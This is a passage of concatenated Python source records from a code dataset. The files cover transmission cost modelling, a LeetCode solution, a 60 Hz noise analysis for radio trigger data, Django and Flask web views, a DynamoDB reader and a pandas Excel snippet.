.format(sc_point['sc_point_gid'], ex))\n logger.debug(msg)\n except Exception as ex:\n msg = ('Failed to connect SC point {} to transmission features: {}'\n .format(sc_point['sc_point_gid'], ex))\n logger.exception(msg)\n raise\n\n return features\n\n\nclass ReinforcementLineCosts(TieLineCosts):\n \"\"\"\n Compute Least Cost Reinforcement Line cost from substations to\n network nodes.\n\n The reinforcement line path will attempt to follow existing\n transmission lines for as long as possible. Costs are calculated\n using half of the greenfield cost of the transmission line that is\n being traced. If the reinforcement path travels along two different\n line voltages, corresponding costs are used for each portion of the\n path. In the case that the path must cross a region with no existing\n transmission lines to reach the destination, half (50%) of the\n greenfield cost of the input ``capacity_class`` is used.\n \"\"\"\n def __init__(self, transmission_lines, cost_fpath, start_indices,\n capacity_class, row_slice, col_slice, xmission_config=None,\n barrier_mult=100):\n \"\"\"\n\n Parameters\n ----------\n transmission_lines : dict\n Dictionary where the keys are the names of cost layers in\n the cost HDF5 file and values are arrays with the\n corresponding existing transmission lines rastered into\n them (i.e. array value is 1 at a pixel if there is a\n transmission line, otherwise 0). These arrays will be used\n to compute the reinforcement costs along existing\n transmission lines of differing voltages.\n cost_fpath : str\n Full path of .h5 file with cost arrays.\n start_indices : tuple\n Tuple of (row_idx, col_idx) in the cost array indicating the\n start position of all reinforcement line paths to compute\n (typically, this is the location of the network node in the\n BA). Paths will be computed from this start location to each\n of the `end_indices`, which are also locations in the cost\n array (typically substations within the BA of the network\n node).\n capacity_class : int | str\n Transmission feature ``capacity_class`` to use for the\n 'base' greenfield costs. 'Base' greenfield costs are only\n used if the reinforcement path *must* deviate from existing\n transmission lines. Typically, a capacity class of 400 MW\n (230kV transmission line) is used for the base greenfield\n costs.\n row_slice, col_slice : slice\n Row and column slices into the cost array representing the\n window to compute reinforcement line path within.\n xmission_config : str | dict | XmissionConfig, optional\n Path to Xmission config .json, dictionary of Xmission config\n .jsons, or preloaded XmissionConfig objects.\n By default, ``None``.\n barrier_mult : int, optional\n Multiplier on transmission barrier costs.\n By default, ``100``.\n \"\"\"\n super().__init__(cost_fpath=cost_fpath, start_indices=start_indices,\n capacity_class=capacity_class, row_slice=row_slice,\n col_slice=col_slice, xmission_config=xmission_config,\n barrier_mult=barrier_mult)\n self._cost = self._cost / self._line_cap_mw\n with ExclusionLayers(cost_fpath) as f:\n for capacity_mw, lines in transmission_lines.items():\n t_lines = np.where(lines[row_slice, col_slice])\n cost_layer = 'tie_line_costs_{}MW'.format(capacity_mw)\n costs = f[cost_layer, row_slice, col_slice][t_lines]\n self._mcp_cost[t_lines] = costs * 1e-9\n self._cost[t_lines] = costs / capacity_mw\n\n @classmethod\n def run(cls, transmission_lines, cost_fpath, start_indices, end_indices,\n capacity_class, row_slice, col_slice, xmission_config=None,\n barrier_mult=100, save_paths=False):\n \"\"\"\n Compute reinforcement line path to all features to be connected\n a single supply curve point.\n\n Parameters\n ----------\n transmission_lines : dict\n Dictionary where the keys are the names of cost layers in\n the cost HDF5 file and values are arrays with the\n corresponding existing transmission lines rastered into\n them (i.e. array value is 1 at a pixel if there is a\n transmission line, otherwise 0). These arrays will be used\n to compute the reinforcement costs along existing\n transmission lines of differing voltages.\n cost_fpath : str\n Full path of .h5 file with cost arrays.\n start_indices : tuple\n Tuple of (row_idx, col_idx) in the cost array indicating the\n start position of all reinforcement line paths to compute\n (typically, this is the location of the network node in the\n BA). Paths will be computed from this start location to each\n of the `end_indices`, which are also locations in the cost\n array (typically substations within the BA of the network\n node).\n end_indices : tuple | list\n Tuple (row, col) index or list of (row, col) indices in the\n cost array indicating the end location(s) to compute\n reinforcement line paths to (typically substations within a\n single BA). Paths are computed from the `start_indices`\n (typically the network node of the BA) to each of the\n individual pairs of `end_indices`.\n capacity_class : int | str\n Transmission feature ``capacity_class`` to use for the\n 'base' greenfield costs. 'Base' greenfield costs are only\n used if the reinforcement path *must* deviate from existing\n transmission lines. Typically, a capacity class of 400 MW\n (230kV transmission line) is used for the base greenfield\n costs.\n row_slice, col_slice : slice\n Row and column slices into the cost array representing the\n window to compute reinforcement line path within.\n xmission_config : str | dict | XmissionConfig, optional\n Path to Xmission config .json, dictionary of Xmission config\n .jsons, or preloaded XmissionConfig objects.\n By default, ``None``.\n barrier_mult : int, optional\n Multiplier on transmission barrier costs.\n By default, ``100``.\n save_paths : bool, optional\n Flag to save reinforcement line path as a multi-line\n geometry. By default, ``False``.\n\n Returns\n -------\n tie_lines : pandas.DataFrame | gpd.GeoDataFrame\n DataFrame of lengths and costs for each reinforcement line\n path or GeoDataFrame of length, cost, and geometry for each\n reinforcement line path.\n \"\"\"\n ts = time.time()\n tlc = cls(transmission_lines, cost_fpath, start_indices,\n capacity_class, row_slice, col_slice,\n xmission_config=xmission_config, barrier_mult=barrier_mult)\n\n tie_lines = tlc.compute(end_indices, save_paths=save_paths)\n tie_lines['cost'] = tie_lines['cost'] * 0.5\n\n row, col = start_indices\n with ExclusionLayers(cost_fpath) as f:\n tie_lines['poi_lat'] = (\n f['latitude', row_slice, col_slice][row, col])\n tie_lines['poi_lon'] = (\n f['longitude', row_slice, col_slice][row, col])\n\n tie_lines = tie_lines.rename({'length_km': 'reinforcement_dist_km',\n 'cost': 'reinforcement_cost_per_mw',\n 'poi_lat': 'reinforcement_poi_lat',\n 'poi_lon': 'reinforcement_poi_lon'},\n axis=1)\n\n logger.debug('Reinforcement Path Cost computed in {:.4f} min'\n .format((time.time() - ts) / 60))\n\n return tie_lines\n","sub_path":"reVX/least_cost_xmission/trans_cap_costs.py","file_name":"trans_cap_costs.py","file_ext":"py","file_size_in_byte":50039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"498850133","text":"\n\nclass Solution:\n # u2takey2\n def validateStackSequences(self, pushed, popped):\n \"\"\"\n :type pushed: List[int]\n :type popped: List[int]\n :rtype: bool\n \"\"\"\n s, i = [], 0\n for a in pushed:\n s.append(a)\n while s and s[-1] == popped[i]:\n s.pop()\n i += 1\n return len(s) == 0\n\n # @Percy\n # def validateStackSequences(self, pushed, popped):\n # \"\"\"\n # :type pushed: List[int]\n # :type popped: List[int]\n # :rtype: bool\n # \"\"\"\n # l = []\n # x = 0\n # for e in pushed:\n # if e == popped[x]:\n # x += 1\n # while len(l) > 0 and l[-1] == popped[x]:\n # l.pop()\n # x += 1\n # else:\n # l.append(e)\n # if len(l) == 0:\n # return True\n # else:\n # return False\n\n # @fishballLin\n # def validateStackSequences(self, pushed, popped):\n # \"\"\"\n # :type pushed: List[int]\n # :type popped: List[int]\n # :rtype: bool\n # \"\"\"\n # stack = list()\n # appear_set = set()\n # sequence_length = len(pushed)\n # push_idx = 0\n # pop_idx = 0\n #\n # while pop_idx < sequence_length:\n # if popped[pop_idx] in appear_set:\n # if popped[pop_idx] == stack[-1]:\n # stack.pop(-1)\n # appear_set.remove(popped[pop_idx])\n # pop_idx += 1\n # else:\n # return False\n # else:\n # if push_idx < sequence_length:\n # stack.append(pushed[push_idx])\n # appear_set.add(pushed[push_idx])\n # push_idx += 1\n # else:\n # return False\n #\n # return True\n","sub_path":"leetcode/112_02.py","file_name":"112_02.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"271899907","text":"#!/usr/bin/env python3\n'''\nThis is a script that aims to identify noise that is of the 60 Hz category.\nIt will first attempt to do this by plotting subsecond time v.s. time, and\nlooking for regular near horizontal clusters. Things that arrive at regular\nintervales near 60 Hz are likely coming from the same source. With this, a\ntemplate search could potentially be performed, or time delays, to further\nclean up the events as either 60 Hz or not. \n'''\n'''\nWhen calibrating the antenna positions I am seeing two peaks on correlation histograms for \nantennas 0 and 4. I am using this to explore an characteristic differences between signals\nin each peak. \n'''\n\nimport numpy\nimport scipy.spatial\nimport scipy.signal\nfrom scipy.optimize import curve_fit\nimport os\nimport sys\nimport csv\n\nsys.path.append(os.environ['BEACON_INSTALL_DIR'])\nfrom examples.beacon_data_reader import Reader #Must be imported before matplotlib or else plots don't load.\n\nsys.path.append(os.environ['BEACON_ANALYSIS_DIR'])\nimport tools.interpret #Must be imported before matplotlib or else plots don't load.\nimport tools.clock_correct as cc\nimport tools.info as info\nfrom tools.data_handler import createFile, getTimes\nfrom objects.fftmath import FFTPrepper\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nfrom pprint import pprint\nimport itertools\nimport warnings\nimport h5py\nimport inspect\nwarnings.simplefilter(action='ignore', category=FutureWarning)\nplt.ion()\n\n\ndef plotSubVSec(_calibrated_trig_time, *args, **kwargs):\n '''\n Given the calibrated trigger time, this will plot the subsecond\n on the y axis and the second on the x. Preferrably give this\n pre cut data that only contains the correct trigger type.\n '''\n try:\n _fig = plt.figure()\n _ax = plt.gca()\n _scatter = plt.plot(_calibrated_trig_time-min(_calibrated_trig_time),(_calibrated_trig_time - numpy.floor(_calibrated_trig_time)),marker=',',linestyle='None')\n plt.ylabel('Trigger Subsecond (s)')\n plt.xlabel('Trigger Time From Start of Run (s)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n return _fig, _ax, _scatter\n except Exception as e:\n print('Error in plotSubVSec.')\n file.close()\n print('\\nError in %s'%inspect.stack()[0][3])\n print(e)\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n print(exc_type, fname, exc_tb.tb_lineno)\n sys.exit(1)\n\ndef plotSubVSecHist(_calibrated_trig_time,s_per_x_bin=5*60.0,n_y_bin=100):\n '''\n Given the calibrated trigger time, this will plot the subsecond\n on the y axis and the second on the x. Preferrably give this\n pre cut data that only contains the correct trigger type.\n '''\n try:\n _fig = plt.figure()\n _ax = plt.gca()\n x = _calibrated_trig_time-min(_calibrated_trig_time)\n print([numpy.ceil(max(x)/60.0),1000])\n _hist = plt.hist2d(x,(_calibrated_trig_time - numpy.floor(_calibrated_trig_time)),bins=[int(numpy.ceil(max(x)/s_per_x_bin)),n_y_bin])\n plt.ylabel('Trigger Subsecond (s)')\n plt.xlabel('Trigger Time From Start of Run (s)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n return _fig, _ax, _hist\n except Exception as e:\n print('Error in plotSubVSec.')\n file.close()\n print('\\nError in %s'%inspect.stack()[0][3])\n print(e)\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n print(exc_type, fname, exc_tb.tb_lineno)\n sys.exit(1)\n\ndef alg1(_calibrated_trig_time, atol=0.001):\n '''\n This is intended to cluster any 60 Hz noise by simply looping over events.\n It will determine if any events are within 1/(60 Hz) +/- atol of that event.\n This will then be histogrammed to see outlier events where this number is higher. \n Atol should be given in seconds. \n This is bad an only considers the first 1/60 interval.\n '''\n\n counts = numpy.zeros(len(_calibrated_trig_time),dtype=int)\n\n half_window = 1/60.0 + atol\n\n max_times = _calibrated_trig_time + atol\n min_times = _calibrated_trig_time - atol\n cut = numpy.ones(len(_calibrated_trig_time),dtype=bool)\n for event_index, t in enumerate(_calibrated_trig_time):\n cut[event_index] = False\n counts[event_index] = numpy.sum(numpy.logical_and(_calibrated_trig_time[cut] >= min_times[event_index], _calibrated_trig_time[cut] <= max_times[event_index]))\n\n plt.figure()\n plt.hist(counts,bins=100,density=True)\n plt.ylabel('PDF')\n plt.xlabel('Counts')\n\n plot_cut = counts > 0.0\n plt.figure()\n plt.gca()\n plt.plot(_calibrated_trig_time[plot_cut]-min(_calibrated_trig_time),(_calibrated_trig_time[plot_cut] - numpy.floor(_calibrated_trig_time[plot_cut])),marker=',',linestyle='None')\n plt.ylabel('Trigger Subsecond (s)')\n plt.xlabel('Trigger Time From Start of Run (s)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n\ndef diffFromPeriodic(_calibrated_trig_time, atol=0.025, window_s=10, expected_period=1/60.0, normalize_by_window_index=False, plot_sample_hist=False):\n '''\n This is intended to cluster any 60 Hz noise by simply looping over events.\n\n 60 Hz events are expected to arrive with temporal seperations of N*(1/60Hz).\n This algorithm looks at events in time windows roughly defined by window_s around event i, and\n determines how many events (j) within that window have a remainder (t_i - t_j)%(1/60) within atol\n of the expected periodic value. Values near 0 and 1/60 both indicate near periodicity, so the\n remainder calculation is performed offset by half a period such that those extreme values are\n expected to be centered about (1/60)/2, then (1/60)/2 is subtracted from the remainder so it is\n centered on 0, and the absolute value is taken. The shifted abs(remainders) are binned into 20 bins,\n each representing 5% of the possible outcomes. If 60 Hz noise is not present then this should\n produce a uniform distrobution (events evenly distributed in time roughly). The bin closest to 0 \n shifted remainder will present a significant excess in the presence of 60 Hz noise. The test \n statistic (TS) is the difference between the counts in this bin and the average content of the \n furthest 10 bins (50% of possible remainders). The TS will result in a Gaussian for randomly\n distributed times, but with 60 Hz noise will broaden to significantly larger values.\n\n The number is given in differences in counts, which may change between runs for the same time\n window due to noisier runs. It is recommended to run this with randomized times to get a guage\n of the expected distrobution for absence of 60 Hz with the same event rate, and use that to\n determine where to cut on the TS for confident 60 Hz selection.\n\n If normalize_by_window_index == True then the TS is divided by the window length (2*half_index_window) + 1.\n\n Note that edge effects will be present for events within a half_index_window of the beginning and\n end of the run.\n '''\n try:\n l = len(_calibrated_trig_time)\n output_metric = numpy.zeros(l)\n bin_edges = numpy.linspace(0,expected_period/2,21) #21 posts = 20 bins = 5% of possible outcome space per bin.\n\n half_index_window = int((window_s * (len(_calibrated_trig_time)/(_calibrated_trig_time[-1] - _calibrated_trig_time[0]) ))//2) #window_s * approximate events/s = event indices in approximate window second chunks. Halved for half window. This is rough.\n half_expected_period = expected_period/2.0\n\n for event_index, t in enumerate(_calibrated_trig_time):\n diff_from_period = numpy.abs((_calibrated_trig_time[max(event_index - half_index_window,0):int(min(event_index + half_index_window + 1,l))] - t + half_expected_period)%expected_period - half_expected_period)\n hist_counts,hist_edges = numpy.histogram(diff_from_period,bins=bin_edges)\n output_metric[event_index] = hist_counts[0] - numpy.mean(hist_counts[10:20])\n \n if plot_sample_hist == True:\n max_event_index = numpy.argmax(output_metric)\n median_event_index = numpy.argsort(output_metric)[l//2]\n\n max_diff_from_period = numpy.abs((_calibrated_trig_time[max(max_event_index - half_index_window,0):int(min(max_event_index + half_index_window + 1,l))] - _calibrated_trig_time[max_event_index] + half_expected_period)%expected_period - half_expected_period)\n median_diff_from_period = numpy.abs((_calibrated_trig_time[max(median_event_index - half_index_window,0):int(min(median_event_index + half_index_window + 1,l))] - _calibrated_trig_time[median_event_index] + half_expected_period)%expected_period - half_expected_period)\n plt.figure()\n plt.subplot(1,2,1)\n plt.hist(max_diff_from_period,bins=bin_edges,label='High TS')\n plt.legend(loc='upper right')\n plt.ylabel('Counts')\n plt.xlabel('Remainder (Shifted)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n\n plt.subplot(1,2,2)\n plt.hist(median_diff_from_period,bins=bin_edges,label='Median TS')\n plt.legend(loc='upper right')\n plt.ylabel('Counts')\n plt.xlabel('Remainder (Shifted)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n\n if normalize_by_window_index == True:\n return output_metric/(2.0*half_index_window + 1.0)\n else:\n return output_metric\n except Exception as e:\n print('Error in plotSubVSec.')\n file.close()\n print('\\nError in %s'%inspect.stack()[0][3])\n print(e)\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n print(exc_type, fname, exc_tb.tb_lineno)\n sys.exit(1)\n \n\n\n\nif __name__ == '__main__':\n plt.close('all')\n if len(sys.argv) == 2:\n run = int(sys.argv[1])\n else:\n run = 1700\n datapath = os.environ['BEACON_DATA']\n normalize_by_window_index = True\n\n for run in [1721]:\n reader = Reader(datapath,run)\n filename = createFile(reader)\n print(filename)\n with h5py.File(filename, 'r') as file:\n try:\n load_cut = file['trigger_type'][...] == 2\n calibrated_trig_time = file['calibrated_trigtime'][load_cut]\n randomized_times = numpy.sort(numpy.random.uniform(low=calibrated_trig_time[0],high=calibrated_trig_time[-1],size=(len(calibrated_trig_time),)))\n\n if False:\n for window_s in [1,5,10,20,60,120,360]:\n metric_true = diffFromPeriodic(calibrated_trig_time,window_s=window_s, atol=0.001, normalize_by_window_index=normalize_by_window_index)\n metric_rand = diffFromPeriodic(randomized_times,window_s=window_s, atol=0.001, normalize_by_window_index=normalize_by_window_index)\n bins = numpy.linspace(min(min(metric_true),min(metric_rand)),max(max(metric_true),max(metric_rand)),100)\n plt.figure()\n plt.hist(metric_true,alpha=0.8,label='True',bins=bins)\n plt.hist(metric_rand,alpha=0.8,label='Rand',bins=bins)\n plt.legend()\n plt.title('Window_s = %f'%window_s)\n\n if True:\n #This was used in initial testing of diffFromPeriodic to demonstrate it can work.\n window_s = 20.0\n metric = diffFromPeriodic(calibrated_trig_time,window_s=window_s, normalize_by_window_index=normalize_by_window_index, plot_sample_hist=True)\n metric_rand = diffFromPeriodic(randomized_times,window_s=window_s, atol=0.001, normalize_by_window_index=normalize_by_window_index, plot_sample_hist=True)\n bins = numpy.linspace(min(min(metric),min(metric_rand)),max(max(metric),max(metric_rand)),100)\n bin_centers = (bins[:-1] + bins[1:]) / 2.0\n\n plt.figure()\n plt.hist(metric,alpha=0.8,label='Real Data',bins=bins)\n plt.hist(metric_rand,alpha=0.8,label='Rand',bins=bins)\n plt.title('Window_s = %f'%window_s)\n plt.ylabel('Counts')\n plt.xlabel('TS')\n\n TS_cut_level = 0.1\n cut = metric <= TS_cut_level\n plt.axvline(TS_cut_level,c='r',linestyle='--',label='Cut')\n plt.legend()\n\n fig = plt.figure()\n plt.subplot(1,2,1)\n ax = plt.gca()\n scatter_1 = plt.plot(calibrated_trig_time-min(calibrated_trig_time),(calibrated_trig_time - numpy.floor(calibrated_trig_time)),marker=',',linestyle='None',c='b',label='All RF Events')\n plt.legend()\n plt.ylabel('Trigger Subsecond (s)')\n plt.xlabel('Trigger Time From Start of Run (s)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n plt.subplot(1,2,2)\n scatter_2 = plt.plot(calibrated_trig_time-min(calibrated_trig_time),(calibrated_trig_time - numpy.floor(calibrated_trig_time))%(1/60.0),marker=',',linestyle='None',c='b',label='All RF Events')\n plt.legend()\n plt.ylabel('(Trigger Subsecond) % (1/60Hz)')\n plt.xlabel('Trigger Time From Start of Run (s)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n plt.subplot(1,2,2)\n\n fig = plt.figure()\n ax = plt.gca()\n plt.subplot(1,2,1)\n scatter_a = plt.plot(calibrated_trig_time[cut]-min(calibrated_trig_time),(calibrated_trig_time[cut] - numpy.floor(calibrated_trig_time[cut])),marker=',',linestyle='None',c='b',label='Within Normal Distribution')\n plt.legend()\n plt.ylabel('Trigger Subsecond (s)')\n plt.xlabel('Trigger Time From Start of Run (s)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n\n plt.subplot(1,2,2)\n scatter_b = plt.plot(calibrated_trig_time[~cut]-min(calibrated_trig_time),(calibrated_trig_time[~cut] - numpy.floor(calibrated_trig_time[~cut])),marker=',',linestyle='None',c='r',label='Potential 60 Hz')\n\n plt.legend()\n plt.ylabel('Trigger Subsecond (s)')\n plt.xlabel('Trigger Time From Start of Run (s)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n\n if False:\n #This is intended to automate the process slightly without have to plot.\n window_s = 20.0\n metric = diffFromPeriodic(calibrated_trig_time,window_s=window_s, normalize_by_window_index=normalize_by_window_index)\n metric_rand = diffFromPeriodic(randomized_times,window_s=window_s, atol=0.001, normalize_by_window_index=normalize_by_window_index)\n bins = numpy.linspace(min(min(metric),min(metric_rand)),max(max(metric),max(metric_rand)),100)\n bin_centers = (bins[:-1] + bins[1:]) / 2.0\n TS_cut_level = max(metric_rand)\n\n plt.figure()\n plt.hist(metric,alpha=0.8,label='Real Data',bins=bins)\n plt.hist(metric_rand,alpha=0.8,label='Rand',bins=bins)\n plt.axvline(TS_cut_level,c='r',linestyle='--',label='Cut')\n plt.title('Window_s = %f'%window_s)\n plt.ylabel('Counts')\n plt.xlabel('TS')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n\n cut = metric <= TS_cut_level\n\n eventids = file['eventids'][load_cut][cut]\n filter_string = 'LPf_None-LPo_None-HPf_None-HPo_None-Phase_1-Hilb_0-corlen_32768-align_0-shorten_signals-1-shorten_thresh-0.70-shorten_delay-10.00-shorten_length-90.00'\n plt.figure()\n bins = numpy.linspace(-250,250,1000)\n for pair_index, pair in enumerate([[0,1],[0,2],[0,3],[1,2],[1,3],[2,3]]):\n print(pair)\n plt.subplot(6,1,pair_index + 1)\n plt.hist(file['time_delays'][filter_string]['hpol_t_%isubtract%i'%(pair[0],pair[1])][...][eventids],bins = 100, range=[-250,250])\n plt.ylabel('Counts')\n plt.xlabel('Hpol Time Delay (ns)')\n plt.minorticks_on()\n plt.grid(b=True, which='major', color='k', linestyle='-')\n plt.grid(b=True, which='minor', color='tab:gray', linestyle='--',alpha=0.5)\n\n\n\n except Exception as e:\n print('Error while file open, closing file.')\n file.close()\n print('\\nError in %s'%inspect.stack()[0][3])\n print(e)\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n print(exc_type, fname, exc_tb.tb_lineno)\n sys.exit(1)\n ","sub_path":"analysis/background_identify_60hz.py","file_name":"background_identify_60hz.py","file_ext":"py","file_size_in_byte":18825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"529984291","text":"from django.contrib.messages.views import SuccessMessageMixin\nfrom django.core.urlresolvers import reverse\nfrom django.http.response import HttpResponse, Http404\nfrom django.shortcuts import render\nfrom django.views.generic.edit import CreateView, UpdateView\n\nfrom braces.views._access import LoginRequiredMixin\nfrom cfp.forms import PaperApplicationForm\nfrom cfp.models import Applicant, PaperApplication, get_active_cfp\nfrom datetime import datetime\n\n\nclass PaperApplicationBaseView(SuccessMessageMixin, LoginRequiredMixin):\n model = PaperApplication\n form_class = PaperApplicationForm\n template_name = 'cfp/cfp_form.html'\n success_message = \"You have successfully submitted your application.\"\n\n def dispatch(self, request, *args, **kwargs):\n self.cfp = get_active_cfp()\n return super(PaperApplicationBaseView, self).dispatch(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n c = super(PaperApplicationBaseView, self).get_context_data(**kwargs)\n c['cfp_active'] = self.cfp.is_active()\n c['cfp_title'] = self.cfp.title\n c['cfp_description'] = self.cfp.description\n c['current_year'] = datetime.now().year\n return c\n\n def form_valid(self, form):\n if not self.cfp.is_active():\n return HttpResponse('CFP is not active anymore.', status=403)\n applicant = self._build_or_update_applicant(form)\n form.instance.applicant_id = applicant.pk\n form.instance.cfp_id = self.cfp.pk\n\n return super(PaperApplicationBaseView, self).form_valid(form)\n\n def get_initial(self):\n initial = super(PaperApplicationBaseView, self).get_initial()\n try:\n applicant = self.request.user.applicant\n initial.update({\n 'about_applicant': applicant.about,\n 'biography': applicant.biography,\n 'speaker_experience': applicant.speaker_experience,\n 'image': applicant.image,\n })\n except Applicant.DoesNotExist:\n pass\n\n return initial\n\n def _build_or_update_applicant(self, form):\n user = self.request.user\n args = {\n 'user': user,\n 'about': form.cleaned_data['about_applicant'],\n 'biography': form.cleaned_data['biography'],\n 'speaker_experience': form.cleaned_data['speaker_experience'],\n 'image': form.cleaned_data['image'],\n }\n\n applicant, created = Applicant.objects.update_or_create(user=user, defaults=args)\n return applicant\n\n def get_success_url(self):\n return reverse('user_profile')\n\n\nclass PaperApplicationCreateView(PaperApplicationBaseView, CreateView):\n pass\n\n\nclass PaperApplicationUpdateView(PaperApplicationBaseView, UpdateView):\n success_message = \"You have successfully updated your application.\"\n\n def dispatch(self, request, *args, **kwargs):\n self._check_allowed(request.user)\n return super(PaperApplicationUpdateView, self).dispatch(request, *args, **kwargs)\n\n def _check_allowed(self, user):\n allow = False\n application = self.get_object()\n try:\n if application.applicant_id == user.applicant.pk:\n allow = True\n except Applicant.DoesNotExist:\n pass\n\n if not allow:\n raise Http404()\n\n\ndef cfp_announcement(request):\n return render(request, 'cfp/cfp_announcement.html', {\n \"cfp\": get_active_cfp()\n })\n","sub_path":"cfp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"410286815","text":"import json \n\n# some sample JSON files to test\nwith open('example_1.json', 'r') as file:\n data = json.load(file)\n \nwith open('example_2.json', 'r') as file:\n data1 = json.load(file)\n\ndef var_name(variable):\n \"\"\"\n \n\n Parameters\n ----------\n variable : var\n this is the variable that we wish to get the name from.\n\n Returns\n -------\n variable name (str).\n\n \"\"\"\n for name in globals():\n if eval(name) == variable:\n return(name)\n else:\n pass\n \ndef json_glance(file, first = True):\n \"\"\"\n \n\n Parameters\n ----------\n file : dict\n input JSON file is interpreted as dict.\n first : bool, optional\n DESCRIPTION. The default is True.\n\n Returns\n -------\n text output with keys organized neatly for overview purposes.\n\n \"\"\"\n if first == True:\n print(var_name(file))\n global hier \n global trace \n hier = 0\n trace = [0]\n else:\n hier = hier\n n_master_key = len(file.items())\n for i in range(n_master_key):\n key = list(file.items())[i][0]\n value = list(file.items())[i][1]\n spacer = ' ' * hier\n if isinstance(value, dict) == False:\n print(spacer,'|---', str(key))\n trace.append(0)\n else:\n print(spacer,'|---', str(key))\n hier += 5\n json_glance(value, first = False)\n trace.append(1)\n if trace[-1] == 1:\n hier -= 5\n else:\n hier = hier\n \njson_glance(data1)\n\n","sub_path":"pyjsonview.py","file_name":"pyjsonview.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"496331656","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\n#\n#\tdynamo_read.py\n#\n#\t\t\t\t\tOct/27/2017\n# --------------------------------------------------------------------\nimport\tsys\nimport\tboto3\n\nsys.stderr.write(\"*** 開始 ***\\n\")\n\ndynamodb = boto3.resource('dynamodb',endpoint_url=\"http://localhost:8000\")\n\ntable_name = 'cities'\ntable = dynamodb.Table(table_name)\n\nresponse = table.scan()\n\nfor it in response['Items']:\n\tstr_out = it['key'] + '\\t'\n\tstr_out += it['name'] + '\\t'\n\tstr_out += str (it['population']) + '\\t'\n\tstr_out += it['date_mod']\n\tprint(str_out)\n#\nsys.stderr.write(\"*** 終了 ***\\n\")\n# --------------------------------------------------------------------\n","sub_path":"dynamo/python/read/dynamo_read.py","file_name":"dynamo_read.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"576376099","text":"from flask_yoloapi import endpoint, parameter\n\nfrom findex_gui.web import app\nfrom findex_gui.controllers.news.news import NewsController\nfrom findex_gui.controllers.user.decorators import admin_required\n\n@app.route(\"/api/v2/news/add\", methods=[\"POST\"])\n@admin_required\n@endpoint.api(\n parameter(\"content\", type=str, required=True),\n parameter(\"title\", type=str, required=True)\n)\ndef api_news_add(content, title):\n NewsController.add(content=content, title=title)\n return \"post added\"\n\n@app.route(\"/api/v2/news/update\", methods=[\"POST\"])\n@admin_required\n@endpoint.api(\n parameter(\"uid\", type=int, required=True),\n parameter(\"content\", type=str, required=False),\n parameter(\"title\", type=str, required=False)\n)\ndef api_news_update(uid, content, title):\n NewsController.update(uid=uid, content=content, title=title)\n return \"post updated\"\n","sub_path":"findex_gui/controllers/news/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"496940921","text":"import pandas as pd\n\n#####################\n# Set a variable with the path of the excel file\n# Note: All the \\ have to be doubled\n#####################\n\n# myFilePath = \"C:\\\\Users\\\\nxn\\\\OneDrive\\\\Documents\\\\GitHub\\\\python4accountants\\\\other_xlsx\\\\v0.keep.xlsx\" # absolute path\nmyFilePath = \"other_xlsx\\\\v0.keep.xlsx\" # relative path\n\n#####################\n# Read the excel file\n#####################\n\nmyXLSXFile = pd.ExcelFile(myFilePath)\n\n#####################\n# Create a dataframe with the content of a sheet\n#####################\n\n# Get a dataframe from the first sheet\nfirstDF = pd.read_excel(myXLSXFile, sheet_name=0)\nprint(\"First DF\")\nprint(firstDF)\n\n# Get a dataframe from the sheet called people\nsheetName = \"people\"\npeopleDF = pd.read_excel(myXLSXFile, 